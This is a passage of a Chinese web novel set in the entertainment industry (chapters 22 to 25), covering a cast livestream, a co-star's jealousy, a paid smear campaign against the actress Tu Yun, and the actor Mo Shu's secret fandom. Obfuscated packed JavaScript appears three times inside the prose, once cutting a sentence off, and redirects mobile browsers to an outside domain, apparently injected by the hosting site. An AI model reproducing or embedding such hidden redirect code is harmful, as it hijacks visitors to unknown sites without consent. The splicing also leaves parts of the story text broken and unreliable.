魏肖本来是慵懒地靠在沙发靠背上抱着抱枕，看着看着整个人坐得离镜头越来越近，有些激动地说道，“剧组这个特效做的很好，你们看群演这么多，但昆仑派和狐族的每一个人打斗都有配光效。” 涂韵也看得眼睛发亮，没想到成片比她想象的还要好。 剧本人设都不错，再加上不是五毛特效，难怪收视率那么高。 魏肖、涂韵、林婉婉三个人边看边和弹幕互动，当然主要说话的还是魏肖和涂韵，因为这两集林婉婉出场的画面比较少，而且林婉婉看起来有些兴致缺缺心不在焉的，时不时低下头玩着手机。 不知不觉已经看了半个小时，剧情已经播到了涂韵对魏肖产生了误会，跪在地上哀嚎着必让昆仑血债血偿的情节，弹幕纷纷都夸道涂韵演技好，有情绪爆发力，把那种不甘和愤怒演出来了。 弹幕还说他们跟着一起看的时候，眼泪都要出来了，恨不得冲进屏幕里让两个人解除误会，快点和好。 魏肖盯着屏幕，笑着说道：“对了，刚看到有弹幕在问拍这场戏有没有什么故事。因为这场戏算是凌霄和璃月很重要的一个关系的转折点，所以在拍的时候，我也加了一些细节。比如当时凌霄站在璃月不远处时，虽然面上没有表情，但其实放在身侧的手握紧了他的剑。 这个细节，当时也是和导演，还有涂韵一起商量过的。” 听到魏肖提到自己的名字，涂韵顺着补充道：“对的，这个细节让凌霄和璃月的关系显得更立体。表面上，凌霄是不顾旧情的昆仑弟子，实际上他看到痛苦的璃月，心里也很难过悔恨，有一种不得不克制的情绪在里面。” 说到角色和剧情细节的时候，涂韵的眼睛亮亮的。魏肖一直弯着嘴角盯着她，眼中盛满了温柔的笑意。 弹幕里有人刷“磕疯了”，“魏老师看韵韵的眼神好甜”，“璃月和凌霄才是真正的阴差阳错，势均力敌，相爱相杀”。 因为前期主线用了大篇幅来介绍仙妖两界的爱恨情仇，加上璃月和凌霄的故事确实更有剧情张力，所以磕男主凌霄和女二璃月的观众粉丝也不少。 还有胆大的直接问“魏肖和涂韵第一次合作的感受”，魏肖没回避，笑着点头：“和涂韵合作很默契，拍对手戏时也很有感觉。我也很欣赏她对角色的认真，以及对剧情准确的理解。” 魏肖直白的承认和肯定，惹得涂韵举起水杯战略性地喝了好几口水。没想到，魏老师还挺会夸人的。 又有林婉婉粉丝问“魏肖和林婉婉也是第一次合作，感受是什么？” 魏肖“呃”了老半天，才说了句“婉婉的演技也很好，合作很愉快”，然后又把话题引到了剧的本身。 两人一唱一和聊得投入，林婉婉插不上话，脸色沉了些，一直低着头玩手机，偶尔抬起头对着镜头扯扯嘴角。 当看到弹幕一直在磕凌霄和璃月的时候，林婉婉突然说话了，语气里带着刻意的疑问，“我刚刚好像想起来了，拍这场戏的时候，是不是就是莫老师来探班的那天？” 她的话刚说完，弹幕刷的速度更快了。 林婉婉看了眼屏幕，说道：“哪位莫老师？就是莫殊老师啊。” 林婉婉：“对，莫老师人很温柔，那天带了奶茶和点心来探班。” 林婉婉几句话，就将正常讨论《烬染霜华》剧情的弹幕全变成了想听八卦。 涂韵看见弹幕里有人在问莫殊是来探谁的班的，是不是来看涂韵的。虽然弹幕刷的很快但涂韵还是看见了那个粉丝的ID，和“殊途同归”有关，应该是CP粉。 涂韵抿了抿唇，没有说话。 她生怕自己忍不住偷笑，为了控制表情赶紧往嘴里塞了好几片薯片。 视频小框里的林婉婉捂着嘴轻笑着回答弹幕的问题，“探班谁，我不是很清楚呢。”说到最后一个字的时候，语调上扬又轻快。 “对的，奶茶很好喝，很符合我的口味。我不是很爱吃甜的，莫老师专门给我拿了三分糖去冰的。带的点心是蔓越莓司康。” 如果是两个月前的涂韵，听到林婉婉说的这些话，她会难过生闷气，会幼稚的在意，心里头会像被棉花堵着一样难受。 可现在的涂韵，虽然还没有和莫殊正式地说出那句“在一起吧”，但她也明白了莫殊的心意。所以她只觉得林婉婉这样故意引导有些好笑。拜托……大家都是快三十岁的人了，真的很无聊哎。 眼瞧着弹幕聊的东西越来越跑偏，魏肖可能也察觉到了林婉婉话中的微妙，主动开口转移话题，“连线直播的时间马上要结束了，我们进行最后的抽奖吧。” 他说：“婉婉，既然是你提供的奖品，你来决定怎么抽吧。” 林婉婉撑着下巴，想了想说道：“那就简单点，我问一个问题，前十名答对的送模型剑！” “灵儿第一次见凌霄的时候，在和什么植物对话？” 女主杜灵儿的人设是药王谷小师妹，天生就可以与草木沟通。 问题刚说完，弹幕里答案五花八门。 林婉婉盯着屏幕，嘴角的笑意僵了僵。 涂韵看在眼里，心里觉得有些好笑——现代人追剧要不就是1.5倍速，要不就是当作下饭的电子榨菜，林婉婉问的问题太过细节了，反而让人答不出来。 涂韵正想打圆场，魏肖却先开口了：“婉婉，不如换个简单点的问题？比如灵儿和凌霄第一次见面，是在什么地方？” 这几乎是送分题，弹幕瞬间热闹起来，“药王谷”的答案刷屏。 另一边负责播剧的工作人员也实时进行了截屏，将前十名率先答对的粉丝公布了出来，由提供奖品的林婉婉负责宣布中奖ID。 林婉婉看着镜头说道：“我读到名字的粉丝，等会可以私信这位我们的‘烬染霜华’电视剧官方号，领取奖品。” “第一个答对的是‘婉婉的小尾巴’，第二个是‘好可爱的韵韵子’，第三个是——‘霄月组合YYDS’，第四个是‘凌霄……唯爱璃月’？” 看到这两个ID名字，林婉婉的表情瞬时间变得很是精彩，顿时就沉了下来。 直播间好像突然就乌云压顶，死气沉沉的。 而弹幕反而闹得更欢，剧中的霄月CP粉和双灵CP粉在隔空吵架。 霄月CP粉：“剧里面凌霄和璃月就是有互动啊？我就是磕他们两个不行吗？” 双灵CP粉：“可是剧里面凌霄的官配是杜灵儿啊！你们磕非官配的，能不能不要舞了？” 时不时地唯粉也冒出头插两句嘴。 林婉婉粉丝：“现在是婉婉在说话，某些磕cp的能不能别当着蒸煮面刷屏ky了？” 林婉婉抿着唇，一眼扫下去中奖截图。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490354|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中奖的要不就是涂韵的粉丝，要不就是磕男主女二的，林婉婉自己的粉丝也就两个人。林婉婉脸色更差，念中奖ID时语气都带着敷衍。 草草读完之后，林婉婉对着镜头匆匆挥了挥手：“我等会还有事，先下线了，大家记得看剧。” 涂韵刚想说“拜拜”的时候，林婉婉没等任何回应，直接就断开了连线。 原本拼成四方形的连线屏幕瞬间空了一块，组成了个三角形，显得有些突兀。 涂韵愣了下，心里掠过一丝无奈——其实都是一些很小的事情，但林婉婉可能就是觉得涂韵杀了她的面子，总对她有些敌意。 弹幕里有人问“婉婉是不是不高兴了”，魏肖轻轻咳了声，语气自然地打圆场：“应该是有行程，赶时间啦。” 涂韵也对着镜头笑道：“对的，大家别多想，专注剧就好。后面的剧情，也非常值得大家期待。” 他们都不想让私人矛盾影响剧的口碑，只能尽量把话题拉回来。 两人又聊了好一会拍戏时的趣事，又抽了一拨奖，送的是签名剧照。 眼瞧着马上要到结束时间了，最后两个人对着镜头挥手，弹幕里满是“明天见”，“烬染霜华冲冲冲”的评论，看得涂韵嘴角不自觉地上扬。看来这部剧的剧迷还真的挺多的。 直播结束后，涂韵刚退出抖台app，就收到了莫殊的消息。 看清消息的那一刹那，涂韵惊得捧着手机趴在沙发上打了个滚。下一秒，压抑不住的尖叫突然从喉咙里蹦出来。 她把手机紧紧按在胸口，穿着毛绒袜子的两只脚嘚瑟地在空中上下摇来摇去，力道差点踢翻茶几。 涂韵疼得脸皱在了一起，嘴里吃痛地嘶了一声，连忙捂住自己的大脚趾。这疼感起码得十级吧！ 尽管脸都皱成小苦瓜了，但涂韵还是忍不住地点开对话框，将那短短一行字，反复读了三遍。 皱着的眉心慢慢舒展开来，她已经拼命把嘴角压下去了，但还是不受控地往上扬。 【M：其实那天，我是来探班你的。】 探班这事，涂韵和莫殊那天通宵夜聊后，她其实也猜到了。 但是……莫殊突然说这句话……是不是说明他刚刚也在看她的直播？ * 确认直播已经关了之后，林婉婉靠在沙发上，骂了句国骂。 林婉婉瞅了眼镜头外的助理，助理连忙心领神会地拿起烟盒，从里面抽出支烟递给林婉婉。刚刚的直播连线，她都听见了，婉婉姐心情肯定不好。 林婉婉一只手夹着烟，另一只手在桌子上摩梭着。 黑色的美甲刮过玻璃桌面，发出难听且骇人的摩擦声。 《烬染霜华》这部剧她很看好，也拿到了主角，她以为这部剧肯定能爆。 可从今天看来，确实爆了，但……爆的根本就不是她！ 怎么一个女二还上桌了？怎么女二和男主的CP，比男女主的CP还多人磕？啊啊啊！烦死了！ 这部剧对她来说简直就是无效播剧，她只能寄希望于外力了。 林婉婉咬紧了后槽牙，对助理说道：“你给公司养的那些营销号说说，让他们想想办法。” “对了，让营销号发一下，说莫殊正在接触《金牌秘书》这部剧，让官博也关注一下他。” 《金牌秘书》就是被莫殊拒了的那部剧。 林婉婉勾起唇角，将吸了一半的烟狠狠地按进水晶烟灰缸里。不是轻捻，是而带着泄愤的力道往下碾灭。火星在玻璃缸底刺啦一声熄灭，留下一圈焦黑的印子。 还看不上我？那就借你炒炒热度，不过分吧？ 23. 第23章 黑热搜 才上午八点，涂韵就已经披上她的绿江江作者小马甲，坐在书桌前开始码字了。 第二本小说《星光灿烂》因为故事背景就是娱乐圈，人设也和现实中的差不多，再加上最近，她没有进组，所以时间还比较充裕，所以涂韵写的很顺，灵感就像瀑布一样哗哗哗地就来。 小说的收藏评论量也是噌噌噌地涨，才刚写了三分之一，就已经超过了涂韵的第一本小说。 涂韵用小号偷偷看过微博的cp超话榜，她和魏肖的霄月CP数据很不错，在超话榜的前五名，甚至比女主杜灵儿的双灵CP还高上一位。 而涂韵和莫殊的真人cp，明明都没有合作过，也在cp超话榜上有名。涂韵已经很知足了。 涂韵点进去看过，他们明面上能磕的也就是那期颁奖礼直播和唯一的一期综艺节目，所以有人磕莫殊涂韵同款糖，还有什么发微博的时间糖，虽然有点硬，像是粉丝脑补的。 有人在下面评论吐槽说这糖硬得都能把牙给磕掉，但大家还是磕得津津有味。 殊途同归CP粉：有糖磕就不错了，还计较这么多。再磕一口，嘎嘣嘎嘣脆的糖。 每当这时，涂韵真的好想用小号评论一句：“啊啊啊啊！信我的！给我磕！你们磕的都是真的！” 还有粉丝每天在超话里圈地自萌，许愿莫老师和涂韵早日合作的。 微博下面就会有人推荐涂韵写的《星光灿烂》，表示简直就是最香的娱乐圈同人文，可以完美做代餐，超甜超让人心动。 涂韵表示：这位，你真有品。[大拇指.jpg] 《烬染霜华》已经播到了后半段了，收视率是多个平台的第一。涂韵已经宣了三个代言。 听苏小桃说，向她抛橄榄枝的综艺节目、剧组也有很多，苏小桃也一直在帮她对接。 最近，涂韵也去几个剧组试了戏，估计很快也就能进组了。 为了不辜负嗷嗷待哺的书迷，为了不让超话里的CP粉有更多的代餐，为了不在进组的时候断更，涂韵吭哧吭哧地码字，好多有些存稿。 涂韵正写得酣畅淋漓时，放在桌子上的手机突然震动起来。 涂韵拿起一看，发现是苏小桃。 涂韵按了免提，手依旧在键盘上忙碌着，“喂？怎么啦？苏大经纪人？” 那头吵吵闹闹的，像是在开会的样子。苏小桃声音有些发颤地说道：“涂韵！热搜……你又上热搜了！“ 涂韵盯着电脑屏幕，完全没有在意地问道：”上热搜不是好事吗？是什么热搜？“ 苏小桃声音有些慌慌张张的，”你在说些什么啊！上的是黑热搜！说你是资源咖！还列了证据！“ “什么？”涂韵手指一抖，惊得敲出了好几个错字。 她连忙关掉文档，打开微博，发现热搜榜的第一条就是“涂韵资本喂资源实锤”，后面还跟着一个小小的“爆”字。 她点开营销号列的所谓“资源清单”，看起来很有道理，但涂韵知道这都是写的都是在放屁。 涂韵差点一口气没上上来，她的身后从来都没有过资本，拿到的每一项资源的背后都是她一刻不敢懈怠的成果。 出道时的女一号，明明是那部网剧投资方都不看好，为了节约成本，主角配角都找的新人。她只是试镜恰巧拿到了角色而已，谁能想到这部网剧竟然火了。 让她拿到最佳新人奖的那部职场剧，确实班底很好。但那是她在将近一百个试镜者里熬了三晚想人设理解剧本才拿到的角色。 而《烬染霜华》这样一部自带热度的大制作仙侠剧女二号落在她一个没演过古装的女演员身上，让大家以为她背后有人借助外力拿到的角色。可是……大家有没有想过，剧组本来定的她是女一号啊？ 她——才是被资源咖挤掉的那个人啊…… 她这近两年来演的剧，拿的奖，宣的代言，这些全被轻飘飘归为“资本投喂”。 连她吊威亚吊了十几个小时，摔到膝盖青紫的路透，都被评论“资源咖的苦都是演的”。 涂韵深吸一口气，强迫自己压下翻涌的委屈，咬着牙说道：“证据呢？让他们拿出证据来。” 苏小桃眼圈发红，紧紧握着手机，指尖都有些泛白了，“涂小韵，他们……把老涂给扒出来了。说《寻味记》那个综艺是老涂把你塞进去的，就是为了让你去结识影帝，然后……” 苏小桃话还没说完，就被涂韵打断，“发我看看。” “好，我发你。”没想到涂韵比她想象的还要冷静许多。苏小桃虽然说是经纪人，可她其实也是第一次遇见这种事情，她长长地吸了口气，告诫自己不能慌。要是她慌了，涂韵怎么办？ 苏小桃：“涂韵，你先看看。我现在正在公司开会商量怎么处理，到时我们写一个声明澄清一下。” 苏小桃其实已经猜到大概是谁弄出来的黑热搜了，毕竟不是每个公司都能养着“八百家”营销号的。 轻飘飘的“资源咖”三个字，却需要涂韵用长期的作品和扎实的实力一点点地撕掉。 “资源咖”这种黑热搜的杀伤力远比“耍大牌”这种短期争议要大得多。 当“资源咖”标签贴在艺人的身上后，那些过往的作品、奖项甚至付出的努力，都会被重新解读为“靠资源堆出来的”；看似是夸一个艺人“资源好”，但其实真正有实力的项目、班底、艺人反而会不想与其合作，生怕被贴上“资本傀儡”的标签。 更何况现在的涂韵正处在待爆的风口上，现在这个黑热搜直接让路人的好感度骤降。 挂断电话后，苏小桃将微博转给涂韵，就火急火燎地找公司法务和公关商量对策去了。 涂韵紧紧地握着手机，看着苏小桃新转过来的微博。手机壳的边缘硌得她掌心发疼，屏幕上的字扎得她眼睛发酸。 粉丝数众多的营销号@吃瓜少女老王扒出来，“云糯居”集团的最大股东姓涂，涂这么少有的姓，再加上又是沪川人，是个人都能想到云糯居的老板和涂韵有关系。 营销号在最后还反问道，为什么涂韵上的那期《寻味记》刚好那么巧去的老字号就是云糯居？为什么上的那期节目嘉宾刚好那么巧就有从来不上综艺的莫殊？ 而且就一个普通的扎头发路透视频传播的那么快那么火？ 怎么综艺一播完，“殊途同归”cp就炒起来了？这个CP给谁带来的加成最大？想必……肯定不是刚拿到金影奖影帝的莫殊吧？ 看着一串串的问号出现在屏幕上，涂韵一脸疲惫地抬手按了按眉心。 导演拍戏时侯对她的那些认可，粉丝路透时拍到的认真演习的她，还有每次试镜时都会有录像，这些都不是假的。说她是靠后台拿到的角色？这点，她不是很担心。 可是怎么还会把老涂一个素人给扒出来？ 营销号最后的那一大段反问，其实涂韵之前也想过。她甚至也怀疑过是不是老涂知道她一直喜欢莫殊，知道那期有莫殊参加后，才让导演组选了她作为替补。 可是……她知道，老涂不会那样做的。 当时她从英国一声不响地跑回来，放弃本该有的体面工作，在娱乐圈里从最底层一点点做起。 她和家里人冷战了半年，老涂才勉强接受了她的选择，但还是对吸引涂韵回国的莫殊持有保留态度，甚至像个小孩子一样发誓不会再看莫殊的电影。 还是后来涂韵混出了一些名堂，再加上每天在家里提莫殊给家里人做“脱敏”，老涂的态度才慢慢缓和下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那些委屈就像一个被扎破的气球，一点点地散开。 涂韵从紧绷的不安里慢慢放松下来，她慢慢地站起，走到床边，一个仰躺下去，整个人陷进了柔软的被子里。很踏实，那种踏实不是说什么问题解决了的踏实，而是她喜欢她在意的人，始终选择相信她，让她紧绷的身体彻底放松了下来。 她其实已经做好了被质疑的准备，连怎么辩解的话都在心里过了好几遍。 可是当听到“我知道”那三个字后，那些她想好的话突然全忘了。 她的脑海里只有：他……相信我。 如果心动是有声音的，那一定是现在。 平时和莫殊都是隔着网路联系得多，涂韵甚至还想过，莫殊是不是觉得在和一个电子宠物在聊天。她觉得，自己和莫殊是莫名其妙地突然开始，梦幻到不太真实。一个年轻风头正盛的影帝会喜欢一个只见过见面的女艺人吗？爱情就和她写的小说一样，来得那么快吗？ 苏小桃和她说，不管你们未来怎么样，就先享受现在吧。不求天长地久，起码曾经拥有过。 可现在，那她突然意识到莫殊好像真的……喜欢她？比她想象中的好像还要喜欢？ 那个抽象的模糊的人突然变得具象化，像一件外套将她包裹起来，将流言蜚语都挡在了外面，只剩下干燥的温暖和爱。 涂韵的心跳好像都漏了半拍，然后猛地加快，像一面鼓“咚咚”地震动着。 她举着手机，呆愣地躺在床上，听着电话那头莫殊的呼吸声。 莫殊：“涂韵，我……很高兴你对我说这些。你不要怕，我们一起想办法好吗？” 24. 第24章 要饭记 将时间倒回到今天早上八点，当涂韵披上她的作者小马甲开始哐哐哐码字“做饭”时，莫殊也披上了他的马甲开始哐哐哐……“要饭”。 第一站要饭——先点开绿江江小说网站，去他追更的作者“殊途同归”那里将之前没时间看的更新看一遍，然后夸夸撒花投雷一条龙。 这是莫殊找到的宝藏作者。 当时涂韵刚进娱乐圈，莫殊听说有个新人和涂韵名字一模一样。他偷偷摸摸地在网上搜涂韵的名字，确认了竟然真的是……高中时候喜欢的她！ 他不敢去结识她，只敢偷偷地搜她的名字，作品，有什么新的动态，就像最卑微的小粉丝一样。 结果看到了某个网页上，他的名字和涂韵的名字并排列在在一起。 同人文？这是什么东西？他第一次听说。 莫殊点开了这个绿油油的网页，谁知道一发不可收拾。他不敢做的事情，他想做的事情，小说里的莫殊都替他做了。透过一行行的文字，他好像看见了莫殊和涂韵的另一种可能。 从来不看小说的他，那天晚上看到了凌晨三点，失眠了。 后来当得知涂韵入围了最佳新人奖提名的时候，他为涂韵由衷地高兴。他想，涂韵这么好的女孩，果然无论在哪都是能闪闪发光的。 他想站在她的面前，祝贺她，看着她的笑脸，可是他没有机会。 然后他想到了作者写的《莫负清风与韵光》这本小说，里面莫殊和涂韵的故事激励了他。如果他像小说里的莫殊一样勇敢，那么现实中的他是不是也能离涂韵更近一些？ 所以在得知颁奖嘉宾临时放鸽子之后，他立马就联系主办方，希望可以当颁奖嘉宾。 他见到她了。那是相隔十年之后的第一次相见。 从红毯出来后，一走进内场，他第一眼就看见了她。 涂韵坐在第五排右手边第四个位子，瞪着双大眼睛看着他。十年没见，她瘦了一些，脸上的婴儿肥褪了下去，但还是他记忆中的样子。 莫殊没敢多看，他克制住自己的目光，走到了第一排的位子。邻座相熟的艺人找他聊天，他嘴里“嗯”“是吗？”应着话，其实根本没有听清他们在说些什么。他的思绪全部都飞到了后面。 他假装转头和身边的人说话，实则偷偷地瞄坐在后面的涂韵。 涂韵咬着下唇，盯着正前方发呆，好像很紧张的样子。 紧张的样子也很可爱，莫殊低下头，笑了笑。 当站在台上，拿到手卡，看见最佳新人奖那里写着“涂韵”两个字的时候，他心里面比他自己拿了奖还开心。 涂韵走了上来，站得离他很近。 莫殊看着她，在耀眼的聚光灯下，留在记忆里的模糊的面孔，猛地变得清晰起来。他好像看见了那个穿着校服笑脸盈盈的女孩突然就迈过了长长的十年，从他的梦里走到了他的面前。 他知道这条路并不好走，他只能借着前辈的身份祝贺她，鼓励她，告诉她她真的很棒…… 莫殊举起桌上的咖啡，指尖碰到温热的杯壁，意识才回了过来。 他轻轻地抿了一口，绵密的奶泡带着些甜味，滑过喉咙。 如果不是《莫负清风与韵光》这本小说，他也不会去参加颁奖礼，也不会在得知《寻味记》这个综艺节目要去云糯居的时候，鼓起勇气接受了邀请，那么……他也不会再次靠近涂韵了。 他可能和十年前一样，只敢像个蜗牛一样躲在自己的壳里，偷偷地看着涂韵。 所以在得知作者殊途同归不打算再写文了之后，莫殊心里特别失落。几乎每天和打卡一样，只要有空就出现在作者评论区里，问什么时候能再更文。 功夫不负有心人，现在这个作者写的新文《星光灿烂》，莫殊很满意。 不错不错，两个人的感情写的比第一本还到位。再加上还是莫殊熟悉的娱乐圈背景，看的时候代入感极强，简直就像作者躲在他们微信对话框后面写的一样。 第二站要饭——莫殊退出小说APP，登上他的微博小号。 首先，先去涂韵微博点个赞。 然后，搜索一下关键词霄月CP。涂韵之前主要就拍过两部剧，其余的最多就是只有几句台词的客串，也没上过什么综艺。所以涂韵几乎没有什么CP，有也是小打小闹。 可现在不一样了，《烬染霜华》戏里魏肖和涂韵的眼神，互动，演技什么的都很自然，导致这对CP磕的人很多。甚至还有磕真人RPS的，截取两个人花絮和剧宣里面的互动和眼神剪视频的。 莫殊眼红地看着他们的CP超话里每天都在更新的产出，不是把两个人P在一起的神仙美图，就是各种各样的视频剪辑，评论里面都是热热闹闹的。 莫殊心里面又是羡慕，又是嫉妒的。自从他看了小说之后，特意还去了解过CP这种东西，知道可持续产粮的太太对于CP热度的重要性。虽然他现在也还没太懂，为什么要叫做产出的粉丝们叫太太。 莫殊手指往下滑去，点开自己和涂韵的“殊途同归”CP超话，先看看有没有新的他还没有看过的新的产出，然后再在那些太太的评论区里，学着其他粉丝们的语气评论夸夸。 刚开始的时候，他几乎只看从不评论，最多点一个赞。 可是霄月CP的崛起让莫殊有了一些危机感，所以为了保持住CP超话的活跃性，让殊途同归排名高点再高点，莫殊也只能一点点学起来如何做一个“合格”的CP粉。 那种饭圈缩写和“黑话”，他刚开始完全都不懂，后面看得多了，也就用习惯了。 他在一个专门做视频产出的粉丝太太下面评论了句“剪得太好了，磕死我了”后，伸了个大大的懒腰，完成了今日份“要饭”。 然后他重新拿起手机，将各种APP都退出后，点开微信，看下有没有新的回复。 微信置顶是和涂韵的聊天框，涂韵和他说了个“早”之后，便再也没有回复，估计是忙去了。 莫殊笑了笑，接着往下看去，就看见陈霖给他发消息了，转了一个营销号的微博给他。 莫殊点开一看，发现又是营销号神神秘秘地在爆“瓜”。 说某位刚拿了影帝的男演员正在接触《王牌秘书》这个饼，而且已经洽谈得差不多了，基本上已经可以肯定会出演。 陈霖有些生气地发了条语音过来：“莫哥，这叫什么好饼啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490356|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？明明都已经明确拒绝了，现在还拿哥你来炒作。这不是明晃晃地免费给人打广告吗？” 而且业内很多人都知道《王牌秘书》背后最大的投资方是时代娱乐，林婉婉是女主角这事板上钉钉。现在又在传莫殊要接，这不是在给林婉婉抬咖吗？ 莫殊心态倒很好，“这事不是很正常吗？你别看营销号乱说就行了。下面的粉丝都比你淡定，都说非官宣不约呢。” 陈霖：“好吧，干这行就是容易生气。我得保持平常心不能老生气，今年体检我都体检出甲状腺结节了呢。” 莫殊刚想问陈霖严重不严重，就看见陈霖又发了条信息过来，“对了，哥，除了这条之外，今天还有条热搜……和你稍微地那么有点关系……” 陈霖转了一条营销号@吃瓜少女老王的微博过来，战战兢兢地说道：“莫哥，你要不要看一下？” 其实陈霖隐隐约约地能感觉到，自家艺人和涂韵应该是有点关系的. 他亲眼目睹过，莫殊偷偷地刷自己和涂韵的拉郎视频，还甜蜜的笑！ 莫殊还莫名其妙要去探班《烬燃霜华》剧组，还特意叮嘱他买一杯特定口味的奶茶放着。 还有……那天！莫殊从陆导的剧组客串完，大晚上地还要跑到一个不知道什么小区瞎逛，还不让他跟着，让他在地下车库里等着。 果然，把微博转过去大概十分钟后，莫殊急匆匆地发来条消息：陈霖，你帮忙联系一下之前和涂韵有交集的那些工作人员或导演，问问他们能不能帮忙澄清。 莫殊黑着脸，盯着手机屏幕。 吃瓜少女老王的最后的那些反问，他只觉得好笑。 卑劣地想靠近的，明明不是涂韵……而是他啊！ 在十几年前，他就知道涂韵家开了家糕点房。 那个时候，还不叫云糯居，叫做“涂家糕点”，就开在沪川老街那边。每天的糕点都是现做，排队的人很多，能从铺子处排到老街街尾。 他想去买，去尝尝涂韵爸妈做的糕点。 但那时候他的钱每一分都得留着，吃饭都只舍得吃个五分饱，更别提拿十几块钱去买一块只能当甜品的糕点了。 他记得很清楚，他躲在老街街角里，像见不得人的老鼠，偷看涂韵在店里帮忙。 她会挽起校服衣袖，露出节白嫩纤细的手臂，把那些做好的糕点用袋子打包好，笑着递给客人。 后来，他就躲在排队的人群里，每当快排到他的时候，他就假装突然有事，买不了了，离开队伍让后面的人排上去。他就再回到队伍末尾，循环往复，遮掩着他可怜的虚荣心。 再后来，“涂家糕点”关了，涂韵也不见了。 直到颁奖礼那天，涂韵送来了“云糯居”的糕点。 莫殊后面查了一下这个牌子，发现云糯居的老板姓涂，才知道“涂家糕点”已经越做越大，成为一个大品牌了。 《寻味记》邀约他的时候，他本来是想拒绝的，后来导演组将准备去的老字号跟他说了，他听到有云糯居，才答应上这个综艺。 没想到……涂韵竟然也上了这期综艺。 这是他的意外之喜，而不是涂韵的处心积虑。 25. 第25章 澄清了 与此同时，网上的争论早掀翻了天。 “涂韵资本喂资源实锤”这条黑热搜是空降的，一空降还直接“爆”了，后面肯定有人捣鬼。 涂韵目前也属于待爆小花一列了，黑粉自然也不少。黑热搜刚发酵的初期，涂韵的黑粉群体简直就像来了场狂欢。 涂韵最大的黑粉也不知道从哪搞到了张照片，直接就在微博发了张照片。照片里夜色昏暗，背景模糊难辨，只能看到一男一女并肩在路灯下站着。男的只拍到张背影，而女的虽然带着口罩，但还是能依稀辨认出是涂韵的五官。 黑粉配文：“深夜同回酒店，资源来路一目了然”。 帖子发出后，数十个黑粉小号立刻跟进，在评论区刷屏“早就觉得她不对劲”“难怪能抢别人的角色”，还刻意截取涂韵跑龙套时的一些“演技尴尬”的片段，配上夸张的吐槽文案，在抖台批量投放。 甚至还有另一部分人去涂韵合作品牌的评论区留言“抵制资源咖代言，不然以后不买你们家东西了。” 涂韵的粉丝群里，管理员正组织大家整理证据。 数据组全体出动，整理近百页的“成长时间轴”：从涂韵26岁进入娱乐圈，只能演不知名网剧的女主角，没想到这部网剧直接就火了，在这之前大家都是不看好网剧的发展的。 后面涂韵断断续续地在跑剧组，即使只有三句台词的丫鬟，还是只出现几集的坏女人，她都非常地认真，就这样慢慢地演一些小角色跑龙套了快一年。 涂韵才在27岁的时候，为了争取《职场女王》的女三号角色连续一周都泡在排练室，甚至粉丝人脉姐还附上了当年剧组场务发的朋友圈——“凌晨三点的涂韵还在做笔记写人物小传背台词”。 涂韵的CP粉们也没闲着，跟着唯粉进行反黑。 可粉丝们刚把截图发到热搜评论区，就被黑粉追着骂：“粉丝别洗了！短短三年不到，就能拿奖和影帝一起上综艺？谁信啊！” 尽管苏小桃和莫殊都让涂韵别看这些了，好好睡一觉，可是涂韵就是忍不住地点开微博，用小号一遍遍地刷黑热搜的广场。当她看到这些对话的时候，鼻尖一酸——粉丝明明什么都没有做错，却要跟着她一起受这些委屈。 路人评论区里更是吵得不可开交。 有人反驳道：“我以前刷到过涂韵试镜的片段啊，当时她那段哭戏确实是好几个人里最打动人的啊，怎么就成资源咖了？” 立刻有黑粉回怼：“试镜都是演的！资本早就内定了，装什么公平竞争啊！” 偶尔下面还穿插着一些莫殊家的粉丝，倒也没下场，只是说“哥哥独美”，“抱走莫殊”。 涂韵把自己缩在被窝里，光被挡在了被窝外面，只剩下黑暗里的小小的一团的她。 手机就放在枕边，播放着莫殊以前演的电影。 电影里的台词，她熟的几乎都能背出来，可是当莫殊的声音一出来的时候，涂韵就是觉得安心。 她的眼泪不知不觉地流出来，砸在枕头上，没发出一点声音。恍惚间，她好像又回到了在英国留学时的日子。 英国的雨季很多，雨丝砸在玻璃上，在窗上晕开一片模糊的水痕。她就把自己蜷在合租的房间里，一遍遍地看莫殊的电影。只是那时候荧幕上的人，现在在现实里为她挡起了外面的风雨。 星耀娱乐会议室里，苏小桃演示着PPT，屏幕上列着一串表格。 苏小桃严肃地说：“我这边和公关组筛查了这些营销号背后的关联账户，其中只有一小部分的营销号收过竞品剧方的推广费，发的内容都是《烬染霜华》竞品剧的好评等等。” 杜总坐在办公桌的首位，他十指交叉放在桌上，沉思片刻问道：“只有一小部分吗？那带头造谣的那几个大营销号背后的关系链是什么？” 他之前曾经怀疑过时竞品剧方在搞鬼，可是……要搞鬼是不是应该盯上男主和女主？盯上涂韵一个女二是为什么？ 确实有业内人士和他调侃过，让涂韵收拾收拾准备升咖吧。 难道是涂韵风头正盛，被业内嫉妒的人盯上了？ 苏小桃按了一下投影控制笔，PPT转到了下一页，那个页面上都是几个大营销号夸林婉婉的微博截图，旁边还用表格清晰列出这些营销号发的每个女明星的相关内容的次数。好话用红色底色表示，脏水用黑色底色表示。 